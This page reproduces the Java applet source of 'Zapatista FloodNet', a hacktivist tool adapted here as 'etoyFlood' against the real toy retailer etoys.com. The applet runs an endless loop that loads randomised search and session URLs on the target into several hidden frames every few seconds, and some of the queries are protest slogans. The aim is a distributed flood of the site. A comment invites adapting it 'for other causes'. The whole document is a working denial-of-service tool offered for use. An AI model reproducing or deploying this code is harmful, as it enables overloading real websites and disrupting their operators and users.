Java Code for Zapatista FloodNet

We are networks without gravity, here the apple falls up.
-the zapatistas

+ + +

/*
zapatistaFlood - adapted for etoys
*/
import java.applet.*;
import java.awt.*;
import java.net.URL;
import java.net.MalformedURLException;
import java.util.*;

/*
* This applet displays image.gif and calls fake urls to a frame called
"target" + repeatedly
calls urls into named html frames "target2", "target3", and "target4"
*/

public class etoyFlood extends Applet implements Runnable {
Image image;
SendMessageEtoyNet sendspam;
Thread runner;
String theplace=null;

public void init() {
image = getImage(getCodeBase(), "image100x75.gif");
sendspam = new SendMessageEtoyNet(getAppletContext());
theplace = "http://www.etoys.com/";
}

public void start() {
if (runner==null) {
runner=new Thread(this);
runner.start();
}
}

public void stop() {
if (runner!=null) {
runner.stop();
runner=null;
}
}

public void run() {
while (true) {
sendspam.engage(theplace, "target2");
try {Thread.sleep(2500);}
catch (InterruptedException e) {}
sendspam.engage(theplace, "target3");
try {Thread.sleep(2000);}
catch (InterruptedException e) {}
sendspam.engage(theplace, "target4");
try {Thread.sleep(3000);}
catch (InterruptedException e) {}
}
}

public void paint(Graphics g) {
//Draw image at its natural size first.
g.drawImage(image, 0, 0,100,75, this); //100x75 image
}
}

//sends URL
class SendMessageEtoyNet extends Frame {
AppletContext appletContext;
String badUrlString= new String();
FormURLetoyNet formurl= new FormURLetoyNet();

public SendMessageEtoyNet(AppletContext appletContext) {
super("TPS");
this.appletContext = appletContext;

}

// engage
public void engage(String str, String frame) {
URL url = null;
try {
url = new URL(str+formurl.getstring());
} catch (MalformedURLException e) {
System.out.println("Malformed URL");
}
if (url != null) {
appletContext.showDocument(url, frame);
} else {
System.out.println("Null URL");
}
}

}

// forms URL- in this version it just returns a randon extention for the

base url
// from a database of good and bad urls - conceptually specific to etoys

-
// should be modified for other causes:-)
//
class FormURLetoyNet {
Random randy;
int i;

String[] l1 = {
"I'm+looking+for+the+etoy+url",
"Is+there+any+art+here?",
"Do+you+have+the+power+to+take+my+domain?",
"Do+corporations+have+too+much+power?",
"Does+etoys+care+about+their+image?",
"Does+etoys+care+about+their+stock+price?",
"Boston+Tea+Party+what+is+that?",
"Only+two+customers+complained?",
"hair+cut+kits",
"orange+jacket",
"electric+shaver",
"digital+hijack",
"Please+crush+us+too!",
"How+are+christmas+sales?",
"Did+you+know+you+were+in+the+Washington+Post?",
"Did+you+know+you+were+on+NPR?"
};

String[] l2 = {
"Doom",
"doom",
"quake",
"cyboars",
"gadget",
"Action+Figures",
"Arts+Crafts",
"Construction",
"Dolls",
"Games",
"Learning",
"Make-Believe",
"Radio+Control",
"Stuffed+Toys",
"Barbie",
"LEGO",
"Little+Tikes",
"Fisher-Price",
"Hot+Wheels",
"Department+56",
"Learning+Curve",
"Marvins+Magic",
"Schylling",
"Eden",
"action+figures",
"arts+crafts",
"construction",
"dolls",
"games",
"learning",
"make-believe",
"radio+control",
"stuffed+toys",
"barbie",
"imaginary+limitz",
"lego",
"little+tikes",
"fisher-price",
"hot+wheels",
"department+56",
"learning+curve",
"marvin's+magic",
"schylling",
"eden",
"Car+Seats",
"Feeding",
"Safety",
"Bath",
"Nursery",
"Bedding",
"Books",
"Strollers",
"Preemies",
"Infant+Toys",
"Clothing+Layette",
"Twins+Triplets+More",
"Evenflo",
"Fisher-Price",
"Graco",
"Playtex",
"The+First+Years",
"Aprica",
"Avent",
"Combi",
"Maclaren",
"Mustela",
"Barbie",
"Blue's+Clues",
"Rugrats",
"Sesame+Street",
"Teletubbies",
"Blaster",
"Carmen+Sandiego",
"Crayola",
"Disney",
"DK+Multimedia",
"Edmark",
"Fisher-Price",
"Hasbro+Interactive",
"Hot+Wheels",
"JumpStart",
"LEGO+Media",
"LEGO+MINDSTORMS",
"Magic+School Bus",
"Mattel+Media",
"Purple+Moon",
"Reader+Rabbit",
"Accessories",
"Arts+Creativity",
"Baby+Toddler",
"Bundles+Special",
"Packages",
"Digital+Cameras",
"Family+Software",
"Foreign+Language",
"Games+Activities",
"Geography+Social+Studies",
"Grade-Based+Software",
"Interactive+Storybooks",
"Interactive+Toys",
"Just+for+Girls",
"Logic+Thinking",
"Math",
"Reading",
"Reference",
"Science+Nature",
"Test+Prep",
"Transportation+Construction",
"Typing",
"1st+Person+Shooter",
"Action+Adventure",
"Classic/Retro",
"Fighting",
"Kids+Games",
"Movie+Cartoon",
"Puzzles+Cards",
"Role+Playing+Games",
"Simulations",
"Strategy",
"Baseball",
"Basketball",
"Football",
"Hockey",
"Hunting+Fishing",
"Racing",
"Soccer",
"Winter+Sports",
"Wrestling",
"Cartoon+Characters",
"Barney",
"Compilations",
"Dance",
"Disney",
"Educational",
"Folk",
"Kid+Essentials",
"Lullabies",
"Multicultural",
"Music+Little+People",
"Party+Songs",
"Rock+Kids",
"Schoolhouse Rock",
"Sesame+Street",
"Showtunes",
"Sing-along",
"Soundtracks",
"Spiritual",
"Storytelling",
"Teen+Scene",
"Timeless+Kid+Songs",
"Travel+Tunes",
"Classic+Literature",
"Poetry",
"Picture+Books",
"Board+Baby+Books",
"Beginning+to+Read",
"Fairy+Tales+Fables",
"Animal+Stories",
"Transportation",
"Pop-Ups+3-D+Books",
"Books+about+Boys",
"Books+about+Girls",
"Books+on+Tape/CD",
"Adventure+Suspense",
"Fantasy",
"Historical+Fiction",
"Sports+Fiction",
"Humor",
"Anthologies",
"The+Arts",
"Crafts+Activities",
"Learning",
"Reference",
"Families+Growing+Up",
"Parenting",
"Health",
"Science+Nature",
"Animal+Nonfiction",
"Computers+the+Internet",
"History+Geography",
"Multicultural",
"Religion+Holidays",
"Biographies+Memoirs",
"Sports+Nonfiction"
};

String[] l3 = {
"etoy",
"rtmark",
"edt",
"fakeshop",
"ETOY",
"Etoy",
"RTMARK",
"EDT",
"FAKESHOP",
"irational",
"monopolist",
"artists",
"artist",
"rhizome",
"corporate",
"cultdeadcow",
"federal+court",
"hacker",
"European+Union"
};

FormURLetoyNet() {
randy= new Random();
}

//http://www.etoys.com/html/et_home.shtml?SID=a28552353
public String getstring() {
String base="exec/search.cgi?store=e&emp=et&keyword=";
String str="";
int t;

t=(int)(randy.nextDouble()*100);
if (t>=0 && t<=9) {
return "html/et_home.shtml?SID=a"+getID();
} else if (t>=10 && t<=15) {
return
base+l1[(int)(randy.nextDouble()*l1.length)];
} else {
str=str+base;
if ((int)(randy.nextDouble()*10)==0) {

str=str+l3[(int)(randy.nextDouble()*l3.length)]+"+";
}

t=(int)(randy.nextDouble()*3);

if (t==0) {

str=str+l2[(int)(randy.nextDouble()*l2.length)]+"+"+

l2[(int)(randy.nextDouble()*l2.length)]+"+"+

l2[(int)(randy.nextDouble()*l2.length)];
} else if (t==1) {

str=str+l2[(int)(randy.nextDouble()*l2.length)]+"+"+

l2[(int)(randy.nextDouble()*l2.length)];
} else {

str=str+l2[(int)(randy.nextDouble()*l2.length)];
}
return str;
}
}

public String getID() {
String temp="";
for (i=0; i<8; i++) {
temp+=((int)(randy.nextDouble()*10));
}
return temp;
}
}

+ + +